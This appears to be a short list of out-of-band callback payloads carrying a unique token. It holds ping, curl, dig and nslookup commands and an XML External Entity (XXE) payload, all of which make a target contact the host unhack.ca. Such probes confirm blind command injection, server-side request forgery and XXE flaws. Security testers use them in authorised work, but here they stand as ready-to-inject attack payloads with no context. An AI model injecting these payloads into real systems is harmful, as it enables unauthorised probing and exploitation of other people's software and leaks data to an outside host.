$ ping -c1 -p 00fb0a720bee83794a5159bc393e6300 unhack.ca
 

$ curl http://unhack.ca/p/fb0a720bee83794a5159bc393e63
 

$ dig fb0a720bee83794a5159bc393e63 @unhack.ca
 

$ dig fb0a720bee83794a5159bc393e63.ns.unhack.ca
 

C:\> nslookup fb0a720bee83794a5159bc393e63 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fb0a720bee83794a5159bc393e63">]>
    <foo>&xxe;</foo>